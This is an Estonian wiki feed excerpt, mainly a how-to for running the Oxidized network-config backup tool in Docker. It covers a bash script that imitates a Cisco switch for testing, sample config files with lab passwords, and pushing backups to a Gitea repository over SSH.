imreoolberg@Imres-MacBook-Air ~ %&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-coredump===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-systemd-coredump-for-crash-analysis-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Oxidized_kasutamine&amp;diff=4248</id>
		<title>Oxidized kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Oxidized_kasutamine&amp;diff=4248"/>
		<updated>2026-06-18T09:19:50Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasulikud lisamaterjalid */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Oxidized tarkvara https://github.com/ytti/oxidized ...&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Tekitatakse pisike võrguseadme mock linux kasutaja abil&lt;br /&gt;
* Tekitatakse docker põhine oxidized&lt;br /&gt;
&lt;br /&gt;
Võrguskeem&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                      seade-01          seade-02          seade-03        seade-nn&lt;br /&gt;
                          |                 |                 |               |&lt;br /&gt;
  &lt;br /&gt;
 &lt;br /&gt;
                                     internet - vpn&lt;br /&gt;
  &lt;br /&gt;
                     |                                                 |&lt;br /&gt;
                  ___|___                                           ___|___&lt;br /&gt;
                 |       | oxidized                                |       | gitea&lt;br /&gt;
                 |       |                                         |       |&lt;br /&gt;
                 |_______| lokaalne git repo                       |_______| remote git repo&lt;br /&gt;
                     |                                                  |&lt;br /&gt;
                     |                                                  |&lt;br /&gt;
                   --|--------------------------------------------------|---&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* oxidized kopeerib seadmetest seadistused enda lokaalsesse git reposse&lt;br /&gt;
* oxidized seadistuses kirjeldatud nn hook sünkroniseerib-kopeerib lokaalsest gitist andmeid remote git peale&lt;br /&gt;
* oxidized ja gitea omavad mõlemad webgui liidest&lt;br /&gt;
* oxidized ja gitea on mõlemad docker konteinerid&lt;br /&gt;
* oxidized ei kasuta sql vms andmebaasi, andmeid hoitakse failisüsteemis (ehedalt ja git repona)&lt;br /&gt;
* gitea kasutab vajadusel postgresql andmebaasi kasutajate jms hoidmiseks, vaikimisi kasutab sqlite3 baasi; ja git'i&lt;br /&gt;
&lt;br /&gt;
===Mock switch - Linux kasutaja shell script===&lt;br /&gt;
&lt;br /&gt;
Mock switch seisneb Linux operatsioonisüsteemi tavalise kasutaja tekitamises, mille shell on asendatud nt sellise skriptiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep cisco /etc/passwd&lt;br /&gt;
cisco:x:1001:1001::/home/cisco:/home/cisco/router_cli.sh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /home/cisco/router_cli.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
# 1. Print a fake Cisco login welcome and prompt instantly on connection&lt;br /&gt;
echo &amp;quot;Cisco IOS Software, Simulation Engine Version 1.0(MOCK)&amp;quot;&lt;br /&gt;
echo &amp;quot;&amp;quot;&lt;br /&gt;
echo -n &amp;quot;mock-edge-sw01#&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 2. Enter an infinite loop to read incoming commands interactively&lt;br /&gt;
while true; do&lt;br /&gt;
    # Read the next command passed over the terminal stream&lt;br /&gt;
    read -r CMD&lt;br /&gt;
&lt;br /&gt;
    # Clean up trailing carriage returns (\r) sent by network tools&lt;br /&gt;
    CMD=$(echo &amp;quot;$CMD&amp;quot; | tr -d '\r' | tr -d '&amp;quot;' | tr -d &amp;quot;'&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    case &amp;quot;$CMD&amp;quot; in&lt;br /&gt;
        &amp;quot;show run&amp;quot;|&amp;quot;show running-config&amp;quot;|&amp;quot;show startup-config&amp;quot;)&lt;br /&gt;
            cat /home/cisco/mock_cisco.cfg&lt;br /&gt;
            ;;&lt;br /&gt;
        &amp;quot;show version&amp;quot;)&lt;br /&gt;
            echo &amp;quot;Cisco IOS Software, Simulation Engine Version 1.0(MOCK)&amp;quot;&lt;br /&gt;
            ;;&lt;br /&gt;
        &amp;quot;terminal length 0&amp;quot;|&amp;quot;terminal width 0&amp;quot;|&amp;quot;enable&amp;quot;|&amp;quot;&amp;quot;)&lt;br /&gt;
            # Return success silently for environment setup instructions&lt;br /&gt;
            ;;&lt;br /&gt;
        &amp;quot;exit&amp;quot;|&amp;quot;quit&amp;quot;)&lt;br /&gt;
            echo &amp;quot;Closing connection.&amp;quot;&lt;br /&gt;
            exit 0&lt;br /&gt;
            ;;&lt;br /&gt;
        *)&lt;br /&gt;
            # If Oxidized sends an unhandled cleanup command, absorb it silently&lt;br /&gt;
            ;;&lt;br /&gt;
    esac&lt;br /&gt;
&lt;br /&gt;
    # CRITICAL: Print the Cisco prompt back to the stream so Oxidized&lt;br /&gt;
    # knows the command finished and it is safe to send the next line!&lt;br /&gt;
    echo -n &amp;quot;mock-edge-sw01#&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
koos enablega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
# 1. Print a fake Cisco login welcome and start with USER privilege prompt (&amp;gt;)&lt;br /&gt;
echo &amp;quot;Cisco IOS Software, Simulation Engine Version 1.0(MOCK)&amp;quot;&lt;br /&gt;
echo &amp;quot;&amp;quot;&lt;br /&gt;
echo -n &amp;quot;mock-edge-sw01&amp;gt;&amp;quot;  # &amp;lt;--- Note the '&amp;gt;' here!&lt;br /&gt;
&lt;br /&gt;
# Keep track of whether we are in enable mode or not&lt;br /&gt;
IS_ENABLED=false&lt;br /&gt;
&lt;br /&gt;
# 2. Enter the infinite loop&lt;br /&gt;
while true; do&lt;br /&gt;
    read -r CMD&lt;br /&gt;
    CMD=$(echo &amp;quot;$CMD&amp;quot; | tr -d '\r' | tr -d '&amp;quot;' | tr -d &amp;quot;'&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    # If Oxidized sends 'enable', simulate the password challenge&lt;br /&gt;
    if [ &amp;quot;$CMD&amp;quot; = &amp;quot;enable&amp;quot; ] &amp;amp;&amp;amp; [ &amp;quot;$IS_ENABLED&amp;quot; = false ]; then&lt;br /&gt;
        echo -n &amp;quot;Password: &amp;quot;&lt;br /&gt;
        read -r EN_PASS  # Blindly absorb the enable password sent by Oxidized&lt;br /&gt;
        IS_ENABLED=true&lt;br /&gt;
        echo -n &amp;quot;mock-edge-sw01#&amp;quot;  # Send the privileged prompt!&lt;br /&gt;
        continue&lt;br /&gt;
    fi&lt;br /&gt;
&lt;br /&gt;
    # Process commands based on state&lt;br /&gt;
    case &amp;quot;$CMD&amp;quot; in&lt;br /&gt;
        &amp;quot;show run&amp;quot;|&amp;quot;show running-config&amp;quot;|&amp;quot;show startup-config&amp;quot;)&lt;br /&gt;
            if [ &amp;quot;$IS_ENABLED&amp;quot; = true ]; then&lt;br /&gt;
                cat /home/cisco/mock_cisco.cfg&lt;br /&gt;
            else&lt;br /&gt;
                echo &amp;quot;% Unauthorized command.&amp;quot;&lt;br /&gt;
            fi&lt;br /&gt;
            ;;&lt;br /&gt;
        &amp;quot;show version&amp;quot;)&lt;br /&gt;
            echo &amp;quot;Cisco IOS Software, Simulation Engine Version 1.0(MOCK)&amp;quot;&lt;br /&gt;
            ;;&lt;br /&gt;
        &amp;quot;terminal length 0&amp;quot;|&amp;quot;terminal width 0&amp;quot;|&amp;quot;&amp;quot;)&lt;br /&gt;
            # Return success silently for environment setup instructions&lt;br /&gt;
            ;;&lt;br /&gt;
        &amp;quot;exit&amp;quot;|&amp;quot;quit&amp;quot;)&lt;br /&gt;
            echo &amp;quot;Closing connection.&amp;quot;&lt;br /&gt;
            exit 0&lt;br /&gt;
            ;;&lt;br /&gt;
        *)&lt;br /&gt;
            # Absorbs unhandled strings&lt;br /&gt;
            ;;&lt;br /&gt;
    esac&lt;br /&gt;
&lt;br /&gt;
    # Print the correct trailing prompt depending on our simulated privilege level&lt;br /&gt;
    if [ &amp;quot;$IS_ENABLED&amp;quot; = true ]; then&lt;br /&gt;
        echo -n &amp;quot;mock-edge-sw01#&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
        echo -n &amp;quot;mock-edge-sw01&amp;gt;&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning näidis seadistusfail st switch conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /home/cisco/mock_cisco.cfg&lt;br /&gt;
!&lt;br /&gt;
hostname mock-edge-sw01&lt;br /&gt;
!&lt;br /&gt;
interface GigabitEthernet1/1&lt;br /&gt;
 description Uplink to Core&lt;br /&gt;
 switchport mode trunk&lt;br /&gt;
!&lt;br /&gt;
interface GigabitEthernet1/2&lt;br /&gt;
 description Connected to Zabbix Proxy&lt;br /&gt;
 switchport access vlan 10&lt;br /&gt;
!&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja vaigistada banneri esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# touch /home/cisco/.hushlogin&lt;br /&gt;
root@zabbix-pub-01:~# chown cisco:cisco /home/cisco/.hushlogin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamise testimiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# ssh cisco@192.168.10.193&lt;br /&gt;
cisco@192.168.10.193's password:&lt;br /&gt;
Cisco IOS Software, Simulation Engine Version 1.0(MOCK)&lt;br /&gt;
&lt;br /&gt;
mock-edge-sw01#show run&lt;br /&gt;
!&lt;br /&gt;
hostname mock-edge-sw01&lt;br /&gt;
!&lt;br /&gt;
interface GigabitEthernet1/1&lt;br /&gt;
 description Uplink to Core&lt;br /&gt;
 switchport mode trunk&lt;br /&gt;
!&lt;br /&gt;
interface GigabitEthernet1/2&lt;br /&gt;
 description Connected to Zabbix Proxy&lt;br /&gt;
 switchport access vlan 10&lt;br /&gt;
!&lt;br /&gt;
end&lt;br /&gt;
mock-edge-sw01#exit&lt;br /&gt;
Closing connection.&lt;br /&gt;
Connection to 192.168.10.193 closed.&lt;br /&gt;
root@dh-minio-01:~#&lt;br /&gt;
imreoolberg@Imres-MacBook-Air ~ %&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine - Docker===&lt;br /&gt;
&lt;br /&gt;
Docker compose ja volume ressurssidele vajalikud kataloogid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mkdir -p /srv/oxidized/dc&lt;br /&gt;
# mkdir -p /srv/oxidized/volume/home/oxidized/.config/oxidized&lt;br /&gt;
# chmod 0777 /srv/oxidized/volume/home/oxidized/.config/oxidized&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Docker compose faili näidis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cd /srv/oxidized/dc&lt;br /&gt;
# cat docker-compose-oxidized.yaml&lt;br /&gt;
name: p_oxidized&lt;br /&gt;
services:&lt;br /&gt;
  svc_oxidized:&lt;br /&gt;
    image: oxidized/oxidized:latest&lt;br /&gt;
    container_name: cn_oxidized&lt;br /&gt;
    restart: unless-stopped&lt;br /&gt;
&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;8888:8888&amp;quot; # Web UI and REST API&lt;br /&gt;
    volumes:&lt;br /&gt;
      - '/srv/oxidized/volume/home/oxidized/.config/oxidized:/home/oxidized/.config/oxidized'&lt;br /&gt;
      - '/srv/oxidized/volume/home/oxidized/.ssh:/home/oxidized/.ssh'&lt;br /&gt;
&lt;br /&gt;
    environment:&lt;br /&gt;
      - CONFIG_RELOAD_INTERVAL=600&lt;br /&gt;
      - TZ=Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_oxidized&lt;br /&gt;
&lt;br /&gt;
networks:&lt;br /&gt;
  nw_oxidized:&lt;br /&gt;
    name: nw_oxidized&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Oxidized seadistamine&lt;br /&gt;
&lt;br /&gt;
* oxidized seadistusfail - /srv/oxidized/volume/home/oxidized/.config/oxidized/config - moodustab ise konteineri käivitamisel alguseks sobiva sisuga&lt;br /&gt;
* ruuterite-switchide-jms-seadmete ligipääsufail - /srv/oxidized/volume/home/oxidized/.config/oxidized/router.db - inimene moodustab&lt;br /&gt;
* config failis tuleks kasutada alustuseks username ja password väärtustena reaalset mock ligipääsu; selleks et router.db toimiks ligipääsu osas tuleb map: direktiiviga töötada&lt;br /&gt;
&lt;br /&gt;
Ligipääsude fail, nt (sisaldab linux põhist mock'i)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /srv/oxidized/volume/home/oxidized/.config/oxidized/router.db&lt;br /&gt;
192.168.10.193:cisco:cisco:parool&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:/srv/oxidized/dc# docker compose -f docker-compose-oxidized.yml up -d&lt;br /&gt;
&lt;br /&gt;
root@dh-minio-01:~# docker ps&lt;br /&gt;
CONTAINER ID   IMAGE                      COMMAND                  CREATED          STATUS          PORTS                                         NAMES&lt;br /&gt;
4ab02b28a9ca   oxidized/oxidized:latest   &amp;quot;/usr/bin/dumb-init …&amp;quot;   45 minutes ago   Up 24 minutes   0.0.0.0:8888-&amp;gt;8888/tcp, [::]:8888-&amp;gt;8888/tcp   cn_oxidized&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on et failisüsteemi tekib&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:/srv/oxidized# find /srv/oxidized/volume -type f -ls&lt;br /&gt;
   134710      4 -rw-r--r--   1 30000    30000         250 Jun  3 14:15 /srv/oxidized/volume/home/oxidized/.config/oxidized/configs/192.168.10.193&lt;br /&gt;
   155498      4 -rw-r--r--   1 30000    30000          33 Jun  3 14:04 /srv/oxidized/volume/home/oxidized/.config/oxidized/router.db&lt;br /&gt;
   134694      4 -rw-r--r--   1 30000    30000           2 Jun  3 14:15 /srv/oxidized/volume/home/oxidized/.config/oxidized/pid&lt;br /&gt;
   173784      4 -rw-r--r--   1 30000    30000         921 Jun  3 14:15 /srv/oxidized/volume/home/oxidized/.config/oxidized/config&lt;br /&gt;
   173789      4 -rw-r--r--   1 30000    30000        1942 Jun  3 14:04 /srv/oxidized/volume/home/oxidized/.config/oxidized/crash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* configs/192.168.10.193 - varundus teksti kujul&lt;br /&gt;
&lt;br /&gt;
Konteineris toimuv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# docker exec -ti 4a ps auxf&lt;br /&gt;
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND&lt;br /&gt;
root          70 25.0  0.0   6392  3764 pts/0    Rs+  11:35   0:00 ps auxf&lt;br /&gt;
root           1  0.0  0.0   2420  1368 ?        Ss   11:15   0:00 /usr/bin/dumb-init -- runsvdir -P /etc/service&lt;br /&gt;
root           7  0.0  0.0   2588  1484 ?        Ss   11:15   0:00 runsvdir -P /etc/service&lt;br /&gt;
root           8  0.0  0.0   2436  1460 ?        Ss   11:15   0:00  \_ runsv oxidized&lt;br /&gt;
oxidized      11  0.0  1.0 1348956 61436 ?       Sl   11:15   0:01  |   \_ /usr/bin/ruby3.3 /usr/local/bin/oxidized&lt;br /&gt;
root           9  0.0  0.0   2436  1552 ?        Ss   11:15   0:00  \_ runsv auto-reload-config&lt;br /&gt;
root          12  0.0  0.0   4056  3220 ?        S    11:15   0:00  |   \_ /bin/bash ./run&lt;br /&gt;
root          62  0.0  0.0   2580  1616 ?        S    11:35   0:00  |       \_ sleep 600&lt;br /&gt;
root          10  0.0  0.0   2436  1484 ?        Ss   11:15   0:00  \_ runsv update-ca-certificates&lt;br /&gt;
root          13  0.0  0.0   4056  3276 ?        S    11:15   0:00      \_ /bin/bash ./run&lt;br /&gt;
root          14  0.0  0.0   2580  1580 ?        S    11:15   0:00          \_ sleep infinity&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ruby sisu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# docker exec -ti 4a gem list oxidized rugged&lt;br /&gt;
&lt;br /&gt;
*** LOCAL GEMS ***&lt;br /&gt;
&lt;br /&gt;
oxidized (0.37.0)&lt;br /&gt;
oxidized-web (0.18.1)&lt;br /&gt;
&lt;br /&gt;
*** LOCAL GEMS ***&lt;br /&gt;
&lt;br /&gt;
rugged (1.9.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Oxidized seadistamine===&lt;br /&gt;
&lt;br /&gt;
Kogu oxidized rakenduse seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:/srv/oxidized/dc# cat ../volume/home/oxidized/.config/oxidized/config&lt;br /&gt;
---&lt;br /&gt;
username: cisco&lt;br /&gt;
password: parool&lt;br /&gt;
model: junos&lt;br /&gt;
resolve_dns: true&lt;br /&gt;
interval: 3600&lt;br /&gt;
debug: false&lt;br /&gt;
run_once: false&lt;br /&gt;
threads: 30&lt;br /&gt;
use_max_threads: false&lt;br /&gt;
timeout: 20&lt;br /&gt;
timelimit: 300&lt;br /&gt;
retries: 3&lt;br /&gt;
prompt: !ruby/regexp /^([\w.@-]+[#&amp;gt;]\s?)$/&lt;br /&gt;
next_adds_job: false&lt;br /&gt;
vars: {}&lt;br /&gt;
groups: {}&lt;br /&gt;
group_map: {}&lt;br /&gt;
models: {}&lt;br /&gt;
pid: &amp;quot;/home/oxidized/.config/oxidized/pid&amp;quot;&lt;br /&gt;
extensions:&lt;br /&gt;
  oxidized-web:&lt;br /&gt;
    load: false&lt;br /&gt;
crash:&lt;br /&gt;
  directory: &amp;quot;/home/oxidized/.config/oxidized/crashes&amp;quot;&lt;br /&gt;
  hostnames: false&lt;br /&gt;
stats:&lt;br /&gt;
  history_size: 10&lt;br /&gt;
input:&lt;br /&gt;
  default: ssh, telnet&lt;br /&gt;
  debug: false&lt;br /&gt;
  ssh:&lt;br /&gt;
    secure: false&lt;br /&gt;
  ftp:&lt;br /&gt;
    passive: true&lt;br /&gt;
  utf8_encoded: true&lt;br /&gt;
output:&lt;br /&gt;
  default: file&lt;br /&gt;
  file:&lt;br /&gt;
    directory: &amp;quot;/home/oxidized/.config/oxidized/configs&amp;quot;&lt;br /&gt;
source:&lt;br /&gt;
  default: csv&lt;br /&gt;
  csv:&lt;br /&gt;
    file: &amp;quot;/home/oxidized/.config/oxidized/router.db&amp;quot;&lt;br /&gt;
    delimiter: !ruby/regexp /:/&lt;br /&gt;
    field:&lt;br /&gt;
      name: 0&lt;br /&gt;
      model: 1&lt;br /&gt;
    map:&lt;br /&gt;
      name: 0&lt;br /&gt;
      model: 1&lt;br /&gt;
      username: 2&lt;br /&gt;
      password: 3&lt;br /&gt;
    gpg: false&lt;br /&gt;
model_map:&lt;br /&gt;
  juniper: junos&lt;br /&gt;
  cisco: ios&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* source -&amp;gt; csv -&amp;gt; field ja -&amp;gt; map tuleb kohendada nt selliseks nagu ülal toodud, et ta oskaks router.db failist kasutada kasutajanime ja parooli&lt;br /&gt;
* output &amp;gt; default -&amp;gt; file muudetakse allpool git vastu&lt;br /&gt;
&lt;br /&gt;
===Webgui===&lt;br /&gt;
&lt;br /&gt;
Webgui kasutamiseks tuleb käivitada nn veebiserveri konteineris&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# grep rest /srv/oxidized/volume/home/oxidized/.config/oxidized/config&lt;br /&gt;
rest: 0.0.0.0:8888&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
paistab brauseris&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260603-oxidized-01.png|900px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===lokaalse git repo kasutamine varunduseks===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* võimalik on kasutada lokaalset git repot storage lahendusena&lt;br /&gt;
&lt;br /&gt;
Nö tavalisele oxidized seadistusfaili sees peab olema sarnane output osakond&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
..&lt;br /&gt;
output:&lt;br /&gt;
  default: git&lt;br /&gt;
  git:&lt;br /&gt;
    user: Oxidized Robot&lt;br /&gt;
    email: oxidized@auul.pri.ee&lt;br /&gt;
    repo: /home/oxidized/.config/oxidized/devices-backups.git&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===remote git repo liidestamine süsteemiga===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* remote git repo liidestatakse mitte iseseisva nö storage lahendusena, aga toetava git lahendusena&lt;br /&gt;
* remote git repo kasutamise eelduseks on lokaalse git repo kasutamine&lt;br /&gt;
&lt;br /&gt;
Nö tavalisele oxidized seadistusfaili sees peab olema sarnane output osakond&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
..&lt;br /&gt;
output:&lt;br /&gt;
  default: git&lt;br /&gt;
  git:&lt;br /&gt;
    user: Oxidized Robot&lt;br /&gt;
    email: oxidized@auul.pri.ee&lt;br /&gt;
    repo: /home/oxidized/.config/oxidized/devices-backups.git&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
hooks:&lt;br /&gt;
  push_to_remote:&lt;br /&gt;
    type: githubrepo&lt;br /&gt;
    events: [post_store]&lt;br /&gt;
    remote_repo: ssh://git@192.168.10.163:2222/oxidized/devices-backups.git&lt;br /&gt;
    publickey: /home/oxidized/.ssh/id_ed25519-gitea.pub&lt;br /&gt;
    privatekey: /home/oxidized/.ssh/id_ed25519-gitea&lt;br /&gt;
&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* git@ on tehniliselt kasutajanimi, aga kõik kasutajad pöörduvad selle kasutajanimega&lt;br /&gt;
* kasutaja identiteet tehakse git repo poolel kindlaks ssh võtme alusel&lt;br /&gt;
&lt;br /&gt;
ssh kasutaja autentimise ettevalmistamine, tekitada priv ja pub võtmed&lt;br /&gt;
&lt;br /&gt;
 host# ssh-keygen -f /srv/oxidized/volume/home/oxidized/.ssh/id_ed25519-gitea&lt;br /&gt;
&lt;br /&gt;
kohendada docker compose failis kasutaja:grupp sobivaks, vaatates eeskujuks olemasolevaid, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
host# chown -R 30000:30000 /srv/oxidized/volume/home/oxidized/.ssh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paigutada pub võti gitea webgui peal sobivasse kohta.&lt;br /&gt;
&lt;br /&gt;
Veenduda ssh töötamises, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:/srv/oxidized/dc# docker exec -ti cn_oxidized bash&lt;br /&gt;
&lt;br /&gt;
root@75b0bf77531a:/# su - oxidized&lt;br /&gt;
&lt;br /&gt;
oxidized@75b0bf77531a:~$ ssh -i .ssh/id_ed25519-gitea git@192.168.10.163 -p 2222&lt;br /&gt;
PTY allocation request failed on channel 0&lt;br /&gt;
Hi there, admin! You've successfully authenticated with the key named from-oxidized, but Gitea does not provide shell access.&lt;br /&gt;
If this is unexpected, please log in with password and setup Gitea under another user.&lt;br /&gt;
Connection to 192.168.10.163 closed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Oxidized webguis versioonid paistavad nii&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260603-oxidized-02.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Gitea webguis versioonid paistavad nii&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260603-oxidized-03.png|900px]]&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
username: oxidezed&lt;br /&gt;
password: parool&lt;br /&gt;
model: cisco&lt;br /&gt;
interval: 7200&lt;br /&gt;
use_syslog: true&lt;br /&gt;
debug: false&lt;br /&gt;
threads: 30&lt;br /&gt;
timeout: 120&lt;br /&gt;
retries: 3&lt;br /&gt;
prompt: !ruby/regexp /^([\w.@-]+[#&amp;gt;]\s?)$/&lt;br /&gt;
rest: 0.0.0.0:8888&lt;br /&gt;
vars:&lt;br /&gt;
  enable: parool&lt;br /&gt;
  remove_secret: true&lt;br /&gt;
  auth_methods: [ &amp;quot;password&amp;quot;, &amp;quot;keyboard-interactive&amp;quot; ]&lt;br /&gt;
pid: &amp;quot;~/.config/oxidized/pid&amp;quot;&lt;br /&gt;
input:&lt;br /&gt;
  default: ssh&lt;br /&gt;
  debug: ~/.config/oxidized/log_input&lt;br /&gt;
  ssh:&lt;br /&gt;
    secure: false&lt;br /&gt;
output:&lt;br /&gt;
  default: git&lt;br /&gt;
  git:&lt;br /&gt;
    user: oxidized&lt;br /&gt;
    email: imre@imre&lt;br /&gt;
    repo: &amp;quot;~/devices.git&amp;quot;&lt;br /&gt;
#output:&lt;br /&gt;
#  default: file&lt;br /&gt;
#  file:&lt;br /&gt;
#    directory: &amp;quot;/opt/oxidized/.config/oxidized/configs&amp;quot;&lt;br /&gt;
&lt;br /&gt;
source:&lt;br /&gt;
  default: csv&lt;br /&gt;
  csv:&lt;br /&gt;
    file: &amp;quot;~/.config/oxidized/router.db&amp;quot;&lt;br /&gt;
    delimiter: !ruby/regexp /:/&lt;br /&gt;
    map:&lt;br /&gt;
      name: 0&lt;br /&gt;
      model: 1&lt;br /&gt;
      status: 2&lt;br /&gt;
      group: 3&lt;br /&gt;
model_map:&lt;br /&gt;
  cisco: ios&lt;br /&gt;
&lt;br /&gt;
groups:&lt;br /&gt;
  GR_AUUL:&lt;br /&gt;
    username: cisco&lt;br /&gt;
    password: parool&lt;br /&gt;
    vars:&lt;br /&gt;
      ssh_port: 22264&lt;br /&gt;
models: {}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@imre-mac ~ % diff gem-list-20260607-rv-oxidized.txt gem-list-20260607-imre-oxidized.txt&lt;br /&gt;
